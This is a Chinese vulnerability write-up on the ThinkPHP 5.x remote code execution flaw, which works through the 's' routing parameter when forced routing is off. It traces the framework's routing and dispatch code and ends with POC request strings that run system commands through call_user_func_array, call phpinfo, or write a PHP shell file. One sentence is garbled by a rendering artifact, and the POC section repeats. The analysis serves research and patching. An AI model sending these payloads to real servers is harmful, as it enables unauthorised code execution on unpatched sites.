ThinkPHP5.x未开启强制路由(s参数)RCE

news2024/11/19 13:14:33

官方公告:https://blog.thinkphp.cn/869075

由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本

ThinkPHP5基础

环境搭建

官网直接下载完整包 https://www.thinkphp.cn/down/870.html

或者composer安装

composer create-project topthink/think=5.1.20 tp5.1.20

composer.json文件中topthink/framework": "5.1.*改为topthink/framework": "5.1.20,再执行composer update

也可以去github下载应用项目仓和核心框架,下载对应版本,然后把核心框架解压到应用项目的thinkphp文件夹

image-20230107014834880

启动应用:php -S localhost:80 -t public

目录结构

public目录通常作为web目录访问内容,入口文件通常为index.php

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

命名空间

ThinkPHP5采用命名空间方式定义和自动加载类库文件,系统内置的几个根命名空间(类库包)如下:

名称描述类库目录
think系统核心类库thinkphp/library/think
traits系统Trait类库thinkphp/library/traits
app应用类库application

URL访问

典型(未启用路由)的URL访问规则,即PATH_INFO

http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]

当服务器不支持PATH_INFO的时候可以使用兼容模式访问:

http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]

url默认不区分大小写,访问驼峰命名的控制器类使用下划线分割如:blog_test

ThinkPHP v5.0.x

  • 影响版本:5.0.5 <= version <= 5.0.22

  • 漏洞点:\think\App::module

    修复:版本更新 · top-think/framework@4cbc0b5 · GitHub

    \think\App::module函数中添加正则过滤

    image-20230107013037758

生命周期

ThinkPHP为单程序入口,通常用于定义一些常量,由此加载引导文件start.php

// 定义项目路径
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

start.php文件为默认引导文件,会调用base.php基础引导文件。并依次加载系统常量定义、环境变量定义文件;注册自动加载机制、注册错误和异常处理机制;加载惯例配置文件Config.php;执行应用 App::run()->send(),去进行应用初始化过程。

初始化过程主要为加载各类定义、配置文件以及公共、拓展函数文件,并注册应用命名空间。还有设置时区以及加载语言包。

初始化完成后,若未设置调度信息会在\think\App::routeCheck进行URL路由检测(根据PATH_INFO)。

image-20230106215942813

\think\App::routeCheck会调用\think\Request::path进行PATH_INFO检测。

image-20230106223029814

image-20230106220656342

获取到path后进行路由检查

image-20230106223310842

ThinkPHP5.0的路由有三种方式:

  • 普通模式:关闭路由,完全使用默认的PATH_INFO方式URL;
'url_route_on' => false
  • 混合模式:开启路由,并使用路由定义+默认PATH_INFO方式的混合;
'url_route_on' => true,'url_route_must' => false
  • 强制模式:开启路由,并设置必须定义路由才能访问:
'url_route_on' => true,'url_route_must' => true

在默认混合模式下,会进行URL的路由检测,路由地址表示定义的路由表达式最终需要路由到的地址以及一些需要的额外参数,支持下面5种方式定义:

定义方式定义格式
方式1:路由到模块/控制器‘[模块/控制器/操作]?额外参数1=值1&额外参数2=值2…’
方式2:路由到重定向地址‘外部地址’(默认301重定向) 或者 [‘外部地址’,‘重定向代码’]
方式3:路由到控制器的方法‘@[模块/控制器/]操作’
方式4:路由到类的方法‘\完整的命名空间类::静态方法’ 或者 ‘\完整的命名空间类@动态方法’
方式5:路由到闭包函数闭包函数定义(支持参数传入)

接着就是分发请求,以上的五种路由定义方式也对应各自的分发请求机制,默认为模块/控制器/操作。然后响应输出,控制器的所有操作方法都是return返回而不是直接输出。

结合代码的详细流程分析可参考:Thinkphp 源码阅读

路由解析

这里主要关注兼容模式时候的解析方式

上面提到在初始化完成后会进行URL路由检测,其中包括PATH_INFO检测,需要获取到正常的$_SERVER['PATH_INFO']参数后才能继续。

PATH_INFO检测由\think\Request::pathinfo函数完成,当GET请求中带有s参数(config中的默认值),即以兼容模式处理时,将pathinfo设置为s的参数值。

image-20230106221718782

image-20230106221811611

在获取到path后回到\think\App::routeCheck进行解析,路由检测无效且在默认的混合模式下'url_route_must' => false时,最后会由\think\Route::parseUrl函数解析

image-20230106223527585

$url为前面的pathinfo,$depr为默认的分割符/,首先对$url替换分割符为|

image-20230107002904413

接着由\think\Route::parseUrlPath函数,分隔符替换后统一根据/分割,产生$path对应$route变量中的module、controller、action

image-20230107003117868

接着解析$path中的模块、控制器、操作

image-20230107003430483

然后进行封装,并返回值到\think\App::run 的 $dispatch变量image-20230107004406736

然后会根据这个调度信息进行应用调度,这里为路由定义方式中的module类型

image-20230107004227559

漏洞点

接着上面的过程开始,这里使用的为:

localhost/?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

其中controller=>\think\app,代表library/think/App.php,后面的action实际调用\think\App::invokefunction函数

image-20230107005218451

\think\App::module函数中拿到实例化后的对象和方法后通过\think\App::invokeMethod函数调用反射执行类的方法

image-20230107005706384

这里通过\think\App::bindParams函数从get或post中获取到函数参数名的同名变量。如这里的invokeFunction($function, $vars = [])函数传参即为function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

image-20230107011445291

image-20230107011423902

最终调用\think\App::invokefunction函数去执行call_user_func_array函数,同样由\think\App::bindParams函数获取参数,poc中通过二维数组对函数传参

image-20230107011242090

ThinkPHP v5.1.x

  • 影响版本:5.1.0 <= version <= 5.1.30
  • 漏洞点:thinkphp/library/think/route/dispatch/Module.php
  • 修复:修正控制器调用 · top-think/framework@802f284 · GitHub

同样由\think\App::run开始进入\think\App::routeCheck

image-20230109230012833

\think\App::routeCheck还是由\think\Request::path函数进行PATH_INFO检测,获取到path后进行路由检查。最后会返回一个Url(继承于Dispatch)对象。

image-20230109221327056

接着调用\think\route\dispatch\Url::init在其中由\think\route\dispatch\Url::parseUrl进行解析,返回的结果对应$route变量中的module、controller、action

image-20230109231839515

漏洞点

返回Module(继承Dispatch)对象,并且调用了\think\route\dispatch\Module::init函数,设置控制器和操作名

image-20230109232055414

回到\think\App::run将解析后的路由填充到dispatch

image-20230109222002283

接着到\think\Middleware::dispatch进行中间件调度获取$response,这里调用的是\think\Middleware::resolve函数

image-20230109234852004

该函数通过array_shift()函数把之前\think\App中通过$this->middleware->add添加的那个匿名函数赋值给$middleware,再继续将$middleware的值通过赋值给 c a l l 。以通过 ‘ c a l l u s e r f u n c a r r a y ( call。以通过`call_user_func_array( call。以通过calluserfuncarray(call,…),再对\think\App`中的匿名函数进行回调

image-20230110001129363

回到think\App->closure,调用\think\route\Dispatch::run。这里的use作用是给该匿名函数传参

image-20230110001455042

image-20230110001706929

\think\route\dispatch\Module::exec函数先实例化控制器,用于后面的闭包函数

image-20230110002215525

image-20230110005500833然后直接return,接着又是中间件调度,这里的将会调用exec()函数里面的闭包函数controller,获取操作方法,以及参数。参数最终由\think\Request::filterValue处理得到。

image-20230110005741381

image-20230110005927636

最后由invokeReflectMethod调用反射执行类的方法。

image-20230110010534820

image-20230110010107474

最终调用\think\Container::invokeFunction去执行函数。

image-20230110010257833

image-20230110003734948

调用过程和5.0比相对复杂,但思路基本相同:利用/分割出能利用的controller,并输入相应的参数值。

后面就是寻找可以利用的类以及方法,比如上面获取参数的\think\Request::filterValue函数就有个代码执行点

?s=index/\think\Request/input&filter=phpinfo&data=1

image-20230110011512489

写文件:\think\template\driver\File::write

?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>

POC

#命令执行
s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
    
s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用  
s=index/\think\Request/input&filter=phpinfo&data=1

参考

https://www.kancloud.cn/manual/thinkphp5/118011

https://y4er.com/posts/thinkphp5-rce

function=call_user_func_array&vars[0]=system&vars[1][]=whoami

s=index/\think\container/invokeFunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1
#写文件 tp5.0不可用
s=index/\think\Request/input&filter=phpinfo&data=1


## 参考

> https://www.kancloud.cn/manual/thinkphp5/118011
>
> https://y4er.com/posts/thinkphp5-rce
>
> https://blog.0kami.cn/blog/2019/thinkphp-v5.x-App.php-rce/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/163355.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ElasticSearch集群架构及底层原理

前言ElasticSearch考虑到大数据量的情况&#xff0c;集群有很多的部署模式&#xff0c;本篇不会具体进行演示了&#xff0c;只是说明一下有哪些架构可以选&#xff0c;及一些原理的简单介绍&#xff0c;如果要看具体操作的那么可以自行进行搜索&#xff0c;这不是本篇博客要介绍…

OCR文字识别软件哪个好?7大文字识别软件

由于从各种文档中提取文本的需求非常普遍&#xff0c;许多办公软件或公司都提供了OCR工具。在本文中&#xff0c;我们为您推出了一系列功能强大且易于使用的最佳 OCR 软件。 什么是 OCR 软件&#xff1f; OCR 软件是一种程序或工具&#xff0c;可以使用光学字符识别技术识别数…

小红书数据分析网站:揭晓普通博主1个月涨粉百万的密码!

导语&#xff1a; 随着2023年的来临&#xff0c;回首小红书动态&#xff0c;行业热度依旧高涨&#xff0c;越来越多的达人涌入小红书。在时尚领域&#xff0c;更是出现了如氧化菊这样的大势变装博主&#xff01;短短一周涨粉13W的变装博主为何能突围&#xff0c;强势吸睛呢&am…

[LCTF]bestphp2022安洵杯 babyphp

目录 <1> [LCTF]bestphp‘s revenge SoapClient触发反序列化导致ssrf serialize_hander处理session方式不同导致session注入 crlf漏洞 <2> 安洵杯 babyphp SoapClient 触发ssrf session反序列化 利用文件操作原生类读取flag <3> XCTF Final Web1 解…

Spring Security 解析(六) —— 基于JWT的单点登陆(SSO)开发及原理解析

Spring Security 解析(六) —— 基于JWT的单点登陆(SSO)开发及原理解析 在学习Spring Cloud 时&#xff0c;遇到了授权服务oauth 相关内容时&#xff0c;总是一知半解&#xff0c;因此决定先把Spring Security 、Spring Security Oauth2 等权限、认证相关的内容、原理及设计学习…

[极客大挑战 2019]Secret File

目录 信息收集 解题思路 信息收集 先看源码&#xff0c;发现一个php文件 <a id"master" href"./Archive_room.php" style"background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me&…

9.2 容器库概览

文章目录所有容器的共性&#xff1a;迭代器迭代器的范围容器类型成员begin和end成员容器的定义和初始化与顺序容器大小相关的构造函数赋值和swapassignedswap容器大小操作关系运算符所有容器的共性&#xff1a; 表格一&#xff1a; 类型别名说明iterator迭代器const_iterator…

用R语言理解全微分

文章目录6 全微分梯度的概念全微分前情提要 R语言微积分极限π,e,γ\pi, e, \gammaπ,e,γ洛必达法则连续性和导数数值导数差商与牛顿插值方向导数 6 全微分 梯度的概念 对于任意函数f(x0,x1,⋯,xn)f(x_0,x_1,\cdots,x_n)f(x0​,x1​,⋯,xn​)&#xff0c;其梯度为 ∇f(∂f∂…

解决从BIOS选择从U盘启动但是系统仍然从硬盘启动的问题

我怀疑是BIOS失去了记忆能力&#xff0c;不能记住我的选择&#xff0c;所以仍然按默认从硬盘启动。 解决&#xff1a;重置BIOS即可 下面用物理方法重置BIOS。 在主板上找到这三根针&#xff0c;将上面的黑色套子拔出&#xff0c;然后插入旁边的另外两根针&#xff0c;例如开始…

基于python知识图谱医疗领域问答系统实现

直接上结果展示: “让人类永远保持理智,确实是一种奢求” ,机器人莫斯,《流浪地球》 项目概况 本项目为一个使用深度学习方法解析问题,知识图谱存储、查询知识点,基于医疗垂直领域的对话系统的后台程序 运行效果:

aws beanstalk 结合packer创建自定义平台

参考资料 https://github.com/aws-samples/eb-custom-platforms-samples#updating-packer-templateElastic Beanstalk 自定义平台 今天使用eb平台创建环境的时候&#xff0c;发现有名为packer的选项&#xff0c;查询文档发现aws beanstalk支持自定义平台&#xff0c;这功能几…

4. 使用预训练的PyTorch网络进行图像分类

4. 使用预训练的PyTorch网络进行图像分类 这篇博客将介绍如何使用PyTorch预先训练的网络执行图像分类。利用这些网络只需几行代码就可以准确地对1000个常见对象类别进行分类。这些图像分类网络是开创性的、最先进的图像分类网络&#xff0c;包括VGG16、VGG19、Inception、Dens…

windows下 pytorch的安装(gpu版本以及cpu版本)

一. 查看是否有gpu 打开cmd 输入nvidia-smi 是以下这种情况的就是有gpu 没有gpu的话就会报错 下载安装cuda以及cudnn&#xff08;安装cpu版本可以跳过此步骤直接进行pytorch的安装&#xff09; 下载cuda 看清楚两个箭头指的地方 一个是11.3.0 一个是日期 后面下载cudnn的时…

ProEssentials Pro 9.8.0.32 Crack

ProEssentials .Net图表组件用于对您的科学、工程和金融图表进行评估和选择&#xff01; Winforms 图表, WPF 图表, C/MFC/VCL 图表. Gigasoft拥有20多年帮助企业开发大型客户端和嵌入式图表项目的经验 为何选择ProEssentials&#xff1f; 我们真诚地希望您能针对您的具体实施…

day03 链表 | 203、移除链表元素 707、设计链表 206、反转链表

题目 203、移除链表元素 删除链表中等于给定值 val 的所有节点。 示例 1&#xff1a; 输入&#xff1a;head [1,2,6,3,4,5,6], val 6 输出&#xff1a;[1,2,3,4,5] 示例 2&#xff1a; 输入&#xff1a;head [], val 1 输出&#xff1a;[] 示例 3&#xff1a; 输入&am…

Pytorch Kaggle实战:House Prices - Advanced Regression Techniques

通过Kaggle比赛&#xff0c;将所学知识付诸实践 目录 1、下载和缓存数据集 2、访问和读取数据集 3、数据预处理 3、训练 4、K折交叉验证 5、模型选择 6、提交Kaggle预测 1、下载和缓存数据集 建立字典DATA_HUB,它可以将数据集名称的字符串映射到数据集相关的二元组上&am…

网络抓包-抓包工具tcpdump的使用与数据分析

1.测试背景 本次测试选用两台不同的服务器&#xff0c;ip分别为.233和.246,233服务器为客户端&#xff0c;246服务器为服务端。利用tcp协议就行socket通信。socket网络编程部分示例代码为基本的通信代码&#xff0c;需要了解tcp网络通讯的基本协议与过程。服务器上采用tcpdump…

【学习笔记】【Pytorch】八、池化层

【学习笔记】【Pytorch】八、池化层学习地址主要内容一、最大池化操作示例二、nn.MaxPool2d类的使用1.使用说明2.代码实现三、池化公式学习地址 PyTorch深度学习快速入门教程【小土堆】. 主要内容 一、最大池化操作示例 二、nn.MaxPool2d类的使用 作用&#xff1a;对于输入信…

Min_25筛

概述 Min_25是日本一个ACM选手的ID&#xff0c;这个筛法是他发明的&#xff0c;所以称之为Min_25筛。它能在亚线性复杂度求出一类积性函数的 fff 的前缀和&#xff0c;前提 是这个积性函数在质数和质数的幂位置的函数值比较好求。借助埃拉托色尼筛的思想 将原问题转化成与质因…

华为PIM-SM 动态RP实验配置

目录 建立PIM SM邻居 配置DR 配置动态RP 组成员端DR上配置IGMP 配置PIM安全 配置SPT切换 配置Anycast RP 配置接口的IP地址&#xff0c;并配置路由协议使得全网互通 建立PIM SM邻居 AR5操作 multicast routing-enable 开启组播路由转发功能 int g0/0/0 pim sm …